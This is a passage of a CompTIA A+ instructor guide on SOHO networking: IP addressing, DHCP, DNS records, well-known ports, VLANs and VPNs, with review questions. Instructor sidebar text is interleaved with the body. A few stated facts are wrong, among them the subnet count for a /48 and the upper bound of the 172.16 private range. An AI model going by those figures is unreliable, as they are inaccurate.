configured as the same as the gateway address. The router would be configured
to forward DNS queries to a secure resolver. Often two DNS server addresses
(preferred and alternate) are specified for redundancy.

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Static Versus Dynamic Host Address Configuration

Using static addressing requires an administrator to visit each computer to Show
manually enter the configuration information for that host. If the host is moved Slide(s)
to a different IP network or subnet, the administrator must manually reconfigure Static versus Dynamic
it. The administrator must keep track of which IP addresses have been allocated Host Address
to avoid issuing duplicates. In a large network, configuring IP statically on each Configuration
node can be very time consuming and prone to errors that can potentially disrupt
communication on the network. Teaching
Tip
Static addresses are typically only assigned to systems with a dedicated
Discuss some of the
functionality, such as router interfaces or application servers that need to use a
problems arising from
fixed IP address. static configurations
and explain that
Dynamic Host Configuration Protocol DHCP can be used to
autoconfigure wired
As an alternative to static configuration, a host can receive its IP address, and wireless clients
subnet mask, default gateway, and DNS server addresses from a dynamic host (you do not need to
configuration protocol (DHCP) server. go into detail, as we
will be covering DHCP
scopes, leases, and
reservations later in
the lesson).
Note that Windows
machines will default
to APIPA if the DHCP
service fails or there
is some type of
connectivity error. This
results in their having
an IP address in the
range 169.254.x.y.

DHCP server configuration. (Screenshot courtesy of TP-Link.)

Automatic Private IP Addressing

Hosts have a failover mechanism for when the IP configuration specifies use of a
DHCP server but the host cannot contact one. In this scenario, the computer selects
an address at random from the range 169.254.0.1 to 169.254.255.254.
Microsoft calls this automatic private IP addressing (APIPA). When a host is using
an APIPA address, it can communicate with other hosts on the same network that
are using APIPA but cannot reach other networks or communicate with hosts that
have managed to obtain a valid DHCP lease.

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Other vendors and open-source products use the term “link local” rather than APIPA.
Not all hosts use link-local addressing. Some may just leave IP unconfigured or use the
IP address 0.0.0.0 to indicate that the IPv4 address of the interface is not known.

SOHO Router Configuration

Show Unlike end system host computers, a router has multiple interfaces. For example,
Slide(s) a SOHO router has a public digital modem interface to connect to the ISP and
SOHO Router a private Ethernet interface on the LAN. Both interfaces must be configured
Configuration with an IP address and subnet mask. The LAN interface is the address used by
hosts as the default gateway parameter. It is also the address used to access the
Teaching router’s web management interface, such as https://192.168.0.1 or
Tip https://192.168.1.1.
To apply the concepts
covered so far, show
The router’s public interface IP address is determined by the ISP. This must be an
how IP addressing is address from a valid public range, such as 203.0.113.1. Some Internet access
configured on a typical packages assign a static IP or offer an option to pay for a static address. Otherwise,
SOHO router and the public interface is dynamically configured using the ISP’s DHCP server.
host/client network.
First, explain how the In fact, 203.0.113.1 is not actually a valid public address. It is from a small
router’s LAN interface range reserved for use as documentation and examples. However, in general terms,
is configured by the you can identify a public IPv4 address because it is not from a private range (10.x.y.z,
vendor with a private
172.16-32.x.y, or 192.168.0-255.x), does not start with a zero, and is not a value of
IP address, typically
224.x.y.z or above (the upper range of IP addresses is reserved for other types of
either 192.168.0.1
addressing schemes).
or 192.168.1.1. This
address is used to
access the router’s To configure a SOHO router, first connect a computer to one of the device’s RJ45
management interface ports or join its wireless network using the default name (identified by a sticker
over http or https.
on the back of the unit). Make sure the computer is set to obtain an IP address
Explain how the automatically. Wait for the DHCP server running on the router to allocate a valid IP
router’s WAN interface address to the computer.
is configured with
a public IP address Use a browser to open the device’s management URL, as listed in the
(either via the ISP’s documentation. This could be an IP address or a host/domain name:
DHCP service or as a
static address). Also http://192.168.0.1 http://www.routerlogin.com
point out options
for configuring and It might use HTTPS rather than unencrypted HTTP. If you cannot connect, check that
monitoring the link the computer’s IP address is in the same range as the router’s LAN IP.
or line protocol and
status (the modem Enter the default administrator username and password as listed in the
function). documentation or printed on a sticker accompanying the router. The management
software will prompt you to choose a new administrator password. Choose a strong
Interaction password of at least 12 characters.
Opportunity Most appliances use a wizard-based setup to connect to the Internet. The public
Optionally, use an IP address and DSL/cable link parameters are normally self-configuring. If manual
online emulator configuration is required, obtain the settings from your ISP.
to show these
configuration steps
in practice. The
one shown in the
screenshots is at
emulator.tp-link.
com/Archer%20
VR900(UN)1.0/index.
htm.

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Configuring DSL modem settings. (Screenshot courtesy of TP-Link.)

You can also use the management console to view line status and the system log.
These might be required by the ISP to troubleshoot any issues with the connection.

Viewing DSL line status. (Screenshot courtesy of TP-Link.)

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IPv6 Addressing
Show The pool of available IPv4 public addresses is not very large, compared to the
Slide(s) number of devices that need to connect to the Internet. While private addressing
IPv6 Addressing
and NAT provides a workable solution, IP version 6 (IPv6) is intended to replace IPv4
completely, at some point. An IPv6 address is a 128-bit number and so can express
Teaching
exponentially more address values that the 32-bit number used in IPv4.
Tip
IPv6 Notation
Contrast the format
of IPv6 with IPv4. If IPv6 addresses are written in hexadecimal notation. One hex digit can represent a
students ask, explain four-bit binary value (a nibble). To express a 128-bit IPv6 address in hex, the binary
that there is no such
thing as IPv5, as the address is divided into eight double-byte (16-bit) values delimited by colons. For
version field protocol example:
ID “5” was assigned
to another protocol
2001:0db8:0000:0000:0abc:0000:def0:1234
(the Internet Stream To shorten how this is written and typed in configuration dialogs, where a double
Protocol) in the 1970s. byte contains leading zeros, they can be ignored. In addition, one contiguous series
Explain how to check of zeroes can be replaced by a double colon place marker. Thus, the address above
for IPv6 support on a would become
typical SOHO router.
Note that, if it is 2001:db8::abc:0:def0:1234
enabled, clients will
typically prefer IPv6 IPv6 Network Prefixes
to IPv4.
An IPv6 address is divided into two main parts: the first 64 bits are used as a
network ID, while the second 64 bits designate a specific interface.

In IPv6, the interface identifier is always the last 64 bits; the first 64 bits are used
for network addressing.

As the network and host portions are fixed size, there is no need for a subnet mask.
Network addresses are written using prefix notation, where /nn is the length of the
routing prefix in bits. Within the 64-bit network ID, the length of any given network
prefix is used to determine whether two addresses belong to the same IP network.

For example, most ISPs receive allocations of /32 blocks and issue each customer with
a /48 prefix for use on a private network. A /48 block allows the private network to be
configured with up to 65,346 subnets.

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Global and Link-Local Addressing

In IPv4, hosts generally have a single IP address per interface. IPv6 interfaces are
more likely to be configured with multiple addresses. The main types are global and
link-local:
• A global address is one that is unique on the Internet (equivalent to public
addresses in IPv4). In hex notation, a global address starts with a 2 or with a 3.

• Link-local addresses are used on the local segment to communicate with

neighbor hosts. In hex notation, link-local addresses start with fe80::

While it is possible to configure IPv6 addresses statically, most hosts obtain a global
and link-local address via the local router. This process is referred to as StateLess
Address Auto Configuration (SLAAC). IPv6 hosts do not need to be configured with
a default gateway. IPv6 uses a protocol called Neighbor Discovery (ND). ND is used
to implement SLAAC, allows a host to discover a router, and performs the interface
address querying functions performed by ARP in IPv4.

Dual Stack
While IPv6 is designed to replace IPv4, transitioning from IPv4 has proved
enormously difficult. Consequently, most hosts and routers can operate both IPv4
and IPv6 at the same time. This is referred to as “dual stack.” Typically, a host will
default to attempting to establish an IPv6 connection and fall back to IPv4 if the
destination host does not support IPv6.

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Review Activity:
Basic TCP/IP Concepts
6

Show Answer the following questions:

Slide(s)
Review

1. A host is configured with the IP address 172.16.1.100 in the 172.16.1.0/16

Teaching
IP network. What value should be entered as the subnet mask?
Tip
Take some time at A subnet mask field uses dotted decimal format. The /16 network prefix means
the end of each topic that the first 16 bits in the mask are set to one: 11111111 11111111 00000000
to answer questions. 00000000. A whole octet of ones converts to 255 in decimal. Therefore, the dotted
You can use the
review questions
decimal mask is 255.255.0.0.
for discussion in
class or set them for
2. You are setting up a printer to use static IPv4 addressing. What type of
students to complete value is expected in the default gateway field?
individually during or
after class. The IPv4 address of the local router interface, entered in dotted decimal format.

3. Another technician has scribbled some notes about IPv4 addresses

used in various networks associated with support tickets. One of
them is assigned to the WAN interface of a SOHO router that requires
troubleshooting. Which of these addresses must it be?

• 52.165.16.254

• 192.168.100.52

• 169.254.1.121

• 172.30.100.32

• 224.100.100.1
The WAN interface of the router must use an IPv4 address from a valid public range,
so 52.165.16.254 is the only one it could be: 172.30.100.32 and 192.168.100.52 are
in the class B and class C private ranges, 169.254.1.121 is in the range reserved for
APIPA, and 224.100.100.1 is outside the range of valid public addresses (it is part of
class D, which is used for a type of addressing called “multicasting”).

4. True or false? A SOHO router can be configured to provide an IPv4

address configuration to hosts without further administrator attention.

True. This service is implemented by the Dynamic Host Configuration Protocol

(DHCP).

5. True or false? A valid IPv6 configuration does not require a subnet mask.

True. In IPv6, the host ID portion of the address is always the last 64 bits. The
network prefix length is used to determine which network a host is on, but a mask
is not required.

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Topic 5C
Compare Protocols and Ports
6

CORE 1 EXAM OBJECTIVES COVERED Show

2.1 Compare and contrast Transmission Control Protocol (TCP) and User Datagram Slide(s)
Protocol (UDP) ports, protocols, and their purposes.
Compare Protocols
and Ports
Network hardware and addressing/forwarding protocols establish basic
connectivity. Hosts use this connectivity to serve and consume multiple network Teaching
applications. When you understand how a TCP/IP host manages simultaneous Tip
sessions for these different applications, you will be able to provide more effective This topic introduces
support and security solutions for your customers. the concept of
protocol ports and
the basic function of
Protocols and Ports common application
protocols.
The network hardware and protocols that we have covered to this point are
primarily concerned with moving frames and packets between hosts and networks. Show
At the Link layer, Ethernet allows hosts to send one another frames of data using Slide(s)
MAC addresses. These frames would typically be transporting IP packets. At the Protocols and Ports
Internet layer, IP provides addressing and routing functionality for a network of
networks. The next layer up in the TCP/IP protocol stack is the Transport layer. Teaching
Any given host will be communicating with many other hosts using many different Tip
types of networking data. One of the functions of the Transport layer is to identify Explain that transport
each type of network application. It does this by assigning each application a port (TCP/UDP) ports
are used to track
number between 0 and 65535. For example, data addressed to the HTTP web
connections to
browsing application can be identified as port 80, while data requesting an email multiple application
transmission service can be identified as port 25. The host could be transmitting protocols. Each
multiple HTTP and email segments at the same time. These are multiplexed using application server
the port numbers onto the same network link. protocol has an
allocated port number;
each client uses its
own port number to
track simultaneous
connections to
different server ports.

Communications at the transport layer. (Images © 123RF.com)

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In fact, each host assigns two port numbers. On the client, the destination port number
is mapped to the service that the client is requesting (HTTP on port 80, for instance). The
client also assigns a random source port number (47747, for instance). The server uses
this client-assigned port number (47747) as the destination port number for its replies
and its application port number (80 for HTTP) as its source port. This allows the hosts to
track multiple “conversations” for the same application protocol.

In the TCP/IP suite, two different protocols implement this port assignment
function: TCP and UDP.

Transmission Control Protocol

Show IP transmits a stream of application data as a series of packets. Any given packet
Slide(s) could be damaged or fail to arrive due to faults or network congestion. TCP
Transmission Control provides several mechanisms to overcome this lack of reliability. It is described as a
Protocol “connection-oriented” protocol because it performs the following functions:
• Establishes a connection between the sender and recipient using a handshake
Teaching
sequence of SYN, SYN/ACK, and ACK packets.
Tip
Explain that TCP is a • Assigns each packet a sequence number so that it can be tracked.
means of ensuring
reliable connection- • Allows the receiver to acknowledge (ACK) that a packet has been received.
oriented delivery. It
uses header fields to • Allows the receiver to send a negative acknowledgement (NACK) to force
acknowledge receipt retransmission of a missing or damaged packet.
and retransmit
missing packets. This • Allows the graceful termination of a session using a FIN handshake.
adds overhead to
each transmission, The main drawback is that this connection information requires multiple header
however. fields. Using TCP can add 20 bytes or more to the size of each packet.
Give examples of
protocols that require
the reliable delivery
provided by TCP. Don’t
go into too much
detail, as we will be
covering functions of
application protocols
later.

Observing the TCP handshake with the Wireshark protocol analyzer.

(Screenshot courtesy of Wireshark.)

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TCP is used when the application protocol cannot tolerate missing or damaged
information. For example, the following application protocols must use TCP:
• HyperText Transfer Protocol (HTTP)/HyperText Transfer Protocol Secure
(HTTPS)—This protocol is used to deliver web pages and other resources. The
secure version uses encryption to authenticate the server and protect the
information that is being transmitted. A single missing packet would cause this
process to fail completely.

• Secure Shell (SSH)—This protocol is used to access the command-line interface

of a computer from across the network. It uses encryption to authenticate the
server and user and protect the information that is being transmitted. This
process would also fail if a data packet is not received.

User Datagram Protocol

Sometimes it is more important that communications be faster than they are reliable. Show
The connection-oriented process of TCP adds lots of header bytes to each packet. Slide(s)
The User Datagram Protocol (UDP) is a connectionless, non-guaranteed method User Datagram
of communication with no sequencing or acknowledgements. There is no guarantee Protocol
regarding the delivery of messages or the sequence in which packets are received.
Teaching
Tip
Contrast UDP with TCP
by explaining that it
uses a connectionless/
unreliable delivery
mechanism with
no process for
retransmitting lost
packets. This requires
fewer header fields
and less overhead,
making it faster.
Give examples of
protocols that use
UDP: DHCP, because
it needs to use
broadcasts, and TFTP,
because it has its own
reliability mechanism.
Don’t go into too much
detail, as we will be
covering functions of
application protocols
Observing a UDP header in the final frame of the DHCP lease process with the Wireshark protocol later. You might also
analyzer. (Screenshot courtesy of Wireshark.) want to mention VoIP
data transmission
and streaming media
UDP is suitable for applications that do not require acknowledgement of receipt
protocols.
and can tolerate missing or out-of-order packets. It is often used by applications
that transfer time-sensitive data but do not require complete reliability, such as
voice or video, because missing data manifests as glitches rather than application
errors or complete connection failures. The reduced overhead means that delivery
is faster. If necessary, the application layer can be used to control delivery reliability.
Two other examples of protocols that use UDP are DHCP and TFTP:
• Dynamic Host Configuration Protocol (DHCP)—This protocol is used by
clients to request IP configuration information from a server. It uses broadcast
transmissions, which are not supported by TCP, so it must use UDP. The protocol
is quite simple, so if a response packet is not received, the client just restarts the
process and tries again repeatedly, until timing out.

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• Trivial File Transfer Protocol (TFTP)—This protocol is typically used by network

devices to obtain a configuration file. The application protocol uses its own
acknowledgement messaging, so it does not require TCP.

Well-Known Ports
Show Server port numbers are assigned by the Internet Assigned Numbers Authority
Slide(s) (IANA). Some of the “well-known” port numbers and the functions of the application
protocols they represent are listed in the following table.
Teaching
Port# TCP/UDP Protocol Purpose
Tip
This page summarizes 20 TCP File Transfer Protocol Make files available
the ports and (FTP)—Data connection for download across
protocol purposes a network (data
that students need connection port)
to memorize. Explain
that we will be 21 TCP File Transfer Protocol Make files available for
covering each protocol (FTP)—Control download across
in more detail in the connection a network (control
next topic and in connection port)
lesson 6.
22 TCP Secure Shell (SSH) Make a secure
connection to the
command-line interface
of a server
23 TCP Telnet Make an unsecure
connection to the
command-line interface
of a server
25 TCP Simple Mail Transfer Transfer email messages
Protocol (SMTP) across a network
53 TCP/UDP Domain Name Facilitate identification
System (DNS) of hosts by name
alongside IP addressing
67 UDP Dynamic Host Provision an IP address
Configuration configuration to clients
Protocol (DHCP)
Server
68 UDP DHCP Client Request a dynamic IP
address configuration
from a server
80 TCP HyperText Transfer Provision unsecure
Protocol (HTTP) websites and web
services
110 TCP Post Office Protocol Retrieve email messages
(POP) from a server mailbox
137–139 UDP/TCP NetBIOS over TCP/IP Support networking
features of legacy
Windows versions
143 TCP Internet Mail Access Read and manage mail
Protocol (IMAP) messages on a server
mailbox

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Port# TCP/UDP Protocol Purpose

161 UDP Simple Network Query status information
Management from network devices
Protocol (SNMP)
162 UDP SNMP trap operation Report status
information to a
management server
389 TCP Lightweight Directory Query information
Access Protocol (LDAP) about network users
and resources
443 TCP HTTP Secure (HTTPS) Provision secure
websites and services
445 TCP Server Message Block Implement
(SMB) Windows-compatible
file and printer
sharing services on
a local network (also
sometimes referred to
as Common Internet File
System [CIFS])
3389 TCP Remote Desktop Make a secure
Protocol (RDP) connection to the
graphical desktop of
a computer
These application protocols will be covered in more detail over the course of the
next topic and the next lesson.

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Review Activity:
Protocols and Ports
7

Show Answer the following questions:

Slide(s)
Review

Teaching 1. True or false? At the Transport layer, connections between hosts to

Tip exchange application data are established over a single port number.
Take some time at False. The server application is identified by one port, but the client must also assign
the end of each topic
its own port to track the connection.
to answer questions.
You can use the
2. What feature of DCHP means that it must use UDP at the transport
review questions
for discussion in layer?
class or set them for
students to complete The Dynamic Host Configuration Protocol (DHCP) uses broadcast addressing, which
individually during or is not supported by the connection-oriented Transport Control Protocol (TCP).
after class. Consequently, DHCP uses the connectionless User Datagram Protocol (UDP).

3. Another technician has scribbled some notes about a firewall

configuration. The technician has listed only the port numbers 25 and
3389. What is the purpose of the protocols that use these ports by
default?

Port TCP/25 is used by the Simple Mail Transfer Protocol (SMTP) to send and receive
email messages. Port TCP/3389 is used by Remote Desktop Protocol (RDP) to
connect to a computer’s graphical shell over the network.

4. The technician has made a note to check that port 445 is blocked by
the firewall. What is the purpose of the protocol that uses this port by
default, and why should it be blocked?

Port TCP/445 is used by the Server Message Block (SMB) protocol that implements
Windows File/Printer Sharing. SMB is designed for use on local networks only.
Allowing access from the Internet would be a security risk.

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Topic 5D
Compare Network Configuration
Concepts
5

CORE 1 EXAM OBJECTIVES COVERED Show

2.6 Compare and contrast common network configuration concepts. Slide(s)
Compare Network
Configuration
Concepts
The low-level addressing implemented by IP uses long and difficult-to-remember
numeric values. DHCP and DNS are commonly deployed to provide an
Teaching
autoconfiguration mechanism and simpler name-based addressing of network
Tip
hosts and resources. As a CompTIA A+ technician, understanding the configuration
parameters for these services will enable you to better support and troubleshoot This topic covers
“low-level” application
your networks. protocols used
Additionally, corporate networks have performance and security requirements that for basic network
functionality
are different to SOHO LANs. This topic will explain why corporate networks use
(automatic addressing
virtual LAN (VLAN) and virtual private network (VPN) network configurations. and name resolution).
We also cover the
Dynamic Host Configuration Protocol network configuration
concepts VLAN and
VPN.
When an interface is assigned a static configuration manually, the installer may
make a mistake with the address information—perhaps duplicating an existing Show
IP address or entering the wrong subnet mask—or the configuration of the Slide(s)
network may change, requiring the host to be manually configured with a new
Dynamic Host
static address. To avoid these problems, a DHCP server can be used to allocate Configuration
an appropriate IP address and subnet mask (plus other settings) to any host that Protocol
connects to the network and requests address information.
Teaching
DHCP Scope Tip
A scope is the range of addresses that a DHCP server can offer to client hosts Without going into too
much detail, explain
in a particular subnet. The scope should exclude any addresses that have been the basic process that
configured statically. For example, the LAN address of a SOHO router is typically clients use to contact
192.168.0.1. This is also the address used by the DHCP server running a DHCP server and
on the router. The scope must exclude this address. If the scope is defined as obtain a lease and the
192.168.0.100 to 192.168.0.199, that allows for 100 dynamically basic configuration
parameters for the
addressed hosts on the local network.
server.

DHCP Leases
A host is configured to use DHCP by specifying in its TCP/IP configuration that
it should automatically obtain an IP address. When a DHCP client initializes, it
broadcasts a DHCPDISCOVER packet to find a DHCP server. All communications are
sent using UDP, with the server listening on port 67 and the client on port 68.

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DHCP Discover, Offer, Request, Ack process. (Images © 123RF.com.)

The DHCP client communicates with the server using broadcast communications so
there is no need to configure a DHCP server address in the client configuration. The
DHCP server must be configured with a static IP address.

Presuming it has an IP address available, the DHCP server responds to the client
with a DHCPOFFER packet, containing the address and other configuration
information, such as default gateway and DNS server addresses. The client may
choose to accept the offer using a DHCPREQUEST packet that is also broadcast onto
the network.
Assuming the offer is still available, the server will respond with a DHCPACK packet. The
client broadcasts an ARP message to check that the address is unused. If so, it will start
to use the address and options; if not, it declines the address and requests a new one.
The IP address is leased by the server for a limited period only. A client can attempt
to renew or rebind the lease before it expires. If the lease cannot be renewed, the
client must release the IP address and start the discovery process again.

Windows DHCP server showing address leases. (Screenshot courtesy of Microsoft.)

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If the address information needs to change, this can be done on the DHCP server,
and clients will update themselves automatically when they seek a new lease (or a
new lease can be requested manually).

DHCP Reservations
It is often useful for a host to use the same IP address. Servers, routers, printers,
and other network infrastructure can be easier to manage if their IP addresses
are known. One option is to use static addressing for these appliances, but this is
difficult to implement. Another option is to configure the DHCP server to reserve
a particular IP address for each device. The DHCP server is configured with a list
of the MAC addresses of hosts that should receive the same IP address. When it is
contacted by a host with one of the listed MAC addresses, it issues a lease for the
reserved IP address.

Some operating systems send a different unique identifier than a MAC address by
default. The identification method should be configured appropriately on the client so
that the server has the correct information.

Domain Name System

IP uses a binary address value to locate a host on an internetwork. The dotted Show
decimal (IPv4) or hex (IPv6) representation of this IP address is used for Slide(s)
configuration purposes, but it is not easy for people to remember or input correctly. Domain Name System
For this reason, a “friendly” host name is also typically assigned to each host. The
host name is configured when the OS is installed. The host name must be unique Teaching
on the local network. Tip
To avoid the possibility of duplicate host names on the Internet, the host name Explain the DNS
hierarchy and the
can be combined with a domain name and suffix. This is referred to as a fully
format of FQDNs.
qualified domain name (FQDN). An example of an FQDN might be nut.
widget.example. The host name is nut, and the domain suffix is widget.
example. This domain suffix consists of the domain name widget within the
top-level domain (TLD) .example. A domain suffix could also contain subdomains
between the host and domain name.
FQDNs are assigned and managed using DNS. DNS is a global hierarchy of
distributed name server databases that contain information about each domain
and the hosts within those domains. At the top of the DNS hierarchy is the root,
which is represented by the null label, consisting of just a period (.). There are 13
root-level servers (A to M).
Immediately below the root lie the top-level domains (TLDs). There are several
types of TLDs, but the most prevalent are generic (such as .com, .org, .net, .info,
.biz), sponsored (such as .gov, .edu), and country code (such as .uk, .ca, .de). DNS
is operated by ICANN (icann.org), which also manages the generic TLDs. Country
codes are generally managed by an organization appointed by the relevant
government.

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DNS hierarchy. (Images © 123RF.com.)

Each FQDN reflects this hierarchy, from most specific on the left (the host
name) to least specific on the right (the TLD followed by the root). For example:
pc.corp.515support.com.

DNS Queries
Show To resolve a host name or FQDN to an IP address, the client must obtain the
Slide(s) appropriate record from a DNS server. For example, a user might type an FQDN
DNS Queries
into the address bar of a web browser client application. The client app, referred to
as a “stub resolver,” checks its local cache for the mapping. If no mapping is found,
Teaching it forwards the query to its local DNS server. The IP addresses of one or more DNS
Tip servers that can act as resolvers are usually set in the TCP/IP configuration. The
client communicates with a DNS server over port 53. The resolution process then
Contrast the function
of DNS servers
takes place as follows:
configured to host
records (name servers)
with those configured
to resolve or forward
client lookup queries.

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DNS name resolution process. (Images © 123RF.com.)

DNS Record Types

The DNS server IP addresses configured on a client machine are used to resolve the Show
client’s queries for hosts and domains across the Internet. At least one DNS server Slide(s)
also needs to be configured to act as an authoritative store of information about DNS Record Types
each domain. These name servers are normally installed separately to the ones
used as client resolvers. Teaching
The DNS server responsible for managing a zone will contain numerous resource Tip
records. These records allow the name server to resolve queries for names and Make sure students
understand the
services hosted in the domain into IP addresses. Resource records can be created
function of each of
and updated manually (statically), or they can be generated dynamically from these record types.
information received from client and server computers on the network.

Address (A) and Address (AAAA) Resource Records

An address (A) record is used to resolve a host name to an IPv4 address. An AAAA
record resolves a host name to an IPv6 address.

Both types of host records (A and AAAA) in Windows Server DNS.

(Screenshot courtesy of Microsoft.)

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Mail Exchanger (MX) Resource Records

A Mail Exchange (MX) record is used to identify an email server for the domain so
that other servers can send messages to it. In a typical network, multiple servers
are installed to provide redundancy, and each one will be represented by an MX
record. Each MX record is given a preference value, with the lowest numbered
entry preferred. The host name identified in an MX record must have an associated
A or AAAA record.

DNS Spam Management Records

Show A TXT record is used to store any free-form text that may be needed to support
Slide(s) other network services. A single domain name may have many TXT records, but
DNS Spam
they are most commonly used to verify email services and block the transmission of
Management spoofed and unwanted messages, referred to as spam.
Records
Sender Policy Framework
Teaching
Tip Sender Policy Framework (SPF) uses a TXT resource record published via DNS by
an organization hosting email service. The SPF record—there must be only one per
Explain how these
specific text record domain—identifies the hosts authorized to send email from that domain. An SPF
types identify can also indicate what to do with mail from servers not on the list, such as rejecting
authoritative email them (-all), flagging them (~all), or accepting them (+all).
servers for a domain.
DomainKeys Identified Mail
DomainKeys Identified Mail (DKIM) uses cryptography to validate the source
server for a given email message. This can replace or supplement SPF. To configure
DKIM, the organization uploads a public encryption key as a TXT record in the DNS
server. Organizations receiving messages can use this key to verify that a message
derives from an authentic server.

Domain-Based Message Authentication, Reporting,

and Conformance
The Domain-Based Message Authentication, Reporting, and Conformance
(DMARC) framework ensures that SPF and DKIM are being utilized effectively. A
DMARC policy is published as a DNS TXT record. DMARC can use SPF or DKIM or
both. DMARC specifies a more robust policy mechanism for senders to specify how
DMARC authentication failures should be treated (flag, quarantine, or reject), plus
mechanisms for recipients to report DMARC authentication failures to the sender.

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Virtual LANs
All hosts connected to the same unmanaged switch are said to be in the same Show
broadcast domain. This does not present any problem on a small network. Slide(s)
However, the switching fabric on an enterprise network can provide thousands Virtual LANs
of ports. Placing hundreds or thousands of hosts in the same broadcast domain
reduces performance. To mitigate this, the ports can be divided into groups using a Teaching
feature of managed switches called virtual LAN (VLAN). Tip
The simplest means of assigning a node to a VLAN is by configuring the port Explain that VLANs
interface on the switch with a VLAN ID in the range 2 to 4094. For example, switch are configured on
switches to divide a
ports 1 through 10 could be configured as a VLAN with the ID 10 and ports 11
large local network
through 20 could be assigned to VLAN 20. Host A connected to port 2 would be in into multiple
VLAN 10, and host B connected to port 12 would be in VLAN 20. segments (or
broadcast domains).
Each segment is
associated with a
separate subnet, and
traffic between these
subnets must go via
routers and be subject
to network ACLs.

Cumulus VX switch output showing switch ports swp 5–8 configured in VLAN 100 and ports
9–12 in VLAN 200.

The VLAN with ID 1 is referred to as the “default VLAN.” Unless configured differently, all
ports on a managed switch default to being in VLAN 1.

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When hosts are placed in separate VLANs, they can no longer communicate with
one another directly, even though they might be connected to the same switch.
Each VLAN must be configured with its own subnet address and IP address range.
Communications between VLANs must go through an IP router. Each VLAN must
also be provisioned with its own DHCP and DNS services.
As well as reducing the impact of excessive broadcast traffic, from a security point
of view, each VLAN can represent a separate zone. Traffic passing between VLANs
can easily be filtered and monitored to ensure it meets security policies. VLANs are
also used to separate nodes based on traffic type, such as isolating devices used for
VoIP so that they can more easily be prioritized over data passing over other VLANs.

Virtual Private Networks

Show A virtual private network (VPN) enables hosts to connect to the LAN without
Slide(s) being physically installed at the site. Rather than attach to a switch or AP, the host
Virtual Private
connects to the local network via a remote access server that accepts connections
Networks from the Internet. Because the Internet is a public network, it is important for the
VPN connection to be secure.
Teaching
A secure VPN configures a protected tunnel through the Internet. It uses special
Tip
connection protocols and encryption technology to ensure that the tunnel is
Explain that VPNs are protected against snooping and that the user is properly authenticated. Once the
used to tunnel traffic
for the same private
connection has been established, to all intents and purposes, the remote computer
network over an becomes part of the local network, though it is still restricted by the bandwidth
intermediate public available over the Internet connection.
(untrusted) network.
The VPN protocol will
use encryption and
authentication to
prevent unauthorized
use of the network or
snooping of its traffic.

A typical remote access VPN configuration. (Image © 123RF.com.)

The VPN described above is for remote access to the LAN by teleworkers and roaming
users. VPNs can also be used to connect sites over public networks, such as linking
branch offices to a head office, or within a local network as an additional security
mechanism.

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Review Activity:
Network Configuration Concepts
6

Answer the following questions: Show

Slide(s)
Review

1. You need to ensure that a print device receives the same IP address
Teaching
when connecting to the network. What value do you need to configure
Tip
on the DHCP server to enable a reservation?
Take some time at
The reservation should be configured with the media access control (MAC) address the end of each topic
of the print device (plus the IP address to assign). to answer questions.
You can use the
2. True or false? A top-level domain such as .com represents the top of the review questions
for discussion in
DNS hierarchy. class or set them for
students to complete
False. The Domain Name System (DNS) uses root servers at the top of the hierarchy. individually during or
The root is represented by a trailing dot at the end of a fully qualified domain name after class.
(FQDN), though this can very commonly be omitted in ordinary usage.

3. You are advising another technician about typical DNS configuration.

The technician thinks that the name server hosting the 515 support
domain resource records on the Internet should be configured as the
primary DNS server entry in the IP configuration of local clients. Why is
this unlikely to be the case?

The role of a name server is to respond to queries for the resource records of the
specific domain(s) that it is responsible for. The role of the DNS server types listed
in a client’s IP configuration is to resolve requests for records in any valid domain.
To do this, the resolver must take on the task of querying multiple name servers
on behalf of the client. Mixing these roles on the same server machine is possible
in theory, but for performance and security reasons, they are more commonly
performed by separate servers.

4. What type of value would you expect a query for an AAAA resource
record to return?

An IPv6 address.

5. What type of TXT record uses cryptography to help recipient servers

reject spoofed messages and spam?

DomainKeys Identified Mail (DKIM).

6. Which network configuration technology can be configured on switches

to divide a local network into multiple broadcast domain segments?

Virtual LAN (VLAN).

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Lesson 5
Summary
7

Show You should be able to compare Internet connection types, TCP/IP protocols, and
Slide(s) common network configuration concepts and to configure SOHO routers and
Summary clients.

Teaching
Guidelines for Installing and Configuring SOHO Networks
Tip Follow these guidelines to install and configure a SOHO network:
Try to include some
time at the end • Identify the most suitable Internet connection type from those available,
of each lesson to considering ADSL, cable, FTTC/VDSL, FTTP/full fiber, WISP, satellite, or cellular
check students’ (4G/5G).
understanding and
answer questions. • Either use the ISP-provided SOHO router or provision a router and/or modem
to work with the Internet connection type and check that the WAN interface is
Interaction cabled or connected correctly to the service provider network.
Opportunity
Get students to
• Use a computer to connect to the router interface over a LAN port or Wi-Fi and
browse vendor sites to verify the status of the Internet connection.
identify different types
and costs of network • Optionally, adjust DHCP settings to customize the address scope or configure
hardware: reservations.
• FTTC/VDSL
broadband • If configuring one or more hosts with static addresses, ensure each has an IPv4
packages. address and subnet mask that is consistent with the DHCP private address range
• Full fiber scope and address scope. Configure the router IP address as the default gateway
broadband and optionally as the primary DNS server. If using IPv6, configure an address and
packages. network prefix that is consistent with the settings on the router.
• 5G fixed access
broadband
• Verify that the router is configured to use trusted DNS resolvers, such as those
packages. of the ISP.
• Satellite
• If allowing Internet connections through the firewall, identify the TCP and UDP
broadband
packages.
protocols and ports that need to be opened.
• WISP broadband • If allowing Internet connections and maintaining a domain name, consider which
packages. services need to be published as address, MX, and TXT records to allow Internet
• SOHO router hosts to connect to web and email servers in the domain.
with VDSL and 5G
backup. • If expanding the network, consider requirements to use managed switches,
• SOHO router with VLANs, and IP subnets to divide the LAN into multiple broadcast domains and to
full fiber and Wi-Fi allow remote access via a VPN.
6 support.

Additional practice questions for the topics covered in this lesson are available on the
CompTIA Learning Center.

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 Lesson 6
Supporting Network Services
1

LESSON INTRODUCTION
Application protocols implement services such as web browsing, email, and file Show
sharing. As well as computer server roles, modern networks use a variety of Slide(s)
Internet security appliances and smart devices. Some networks are integrated Objectives
with embedded system devices that underpin industrial technologies. While you
will not have responsibility for configuring the devices and servers that run these Teaching
applications, being able to summarize the functions and purposes of server roles Tip
will help you to assist other technicians. This lesson continues
with the networking
Being able to summarize the function of protocols all the way up the network stack
theme, moving up
is also a prerequisite for troubleshooting network issues. When you are diagnosing the stack to cover
connectivity problems with a host, you need to determine whether the issue is application protocols
with a cable or adapter that you can resolve or whether there is a wider network or and server roles plus
application server issue that you will need to escalate to senior support staff. troubleshooting.

Lesson Objectives
In this lesson, you will:
• Summarize services provided by networked hosts.

• Compare Internet and embedded appliances.

• Troubleshoot networks.

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Topic 6A
Show
Slide(s)
Summarize Services Provided by
Summarize Services
Provided by
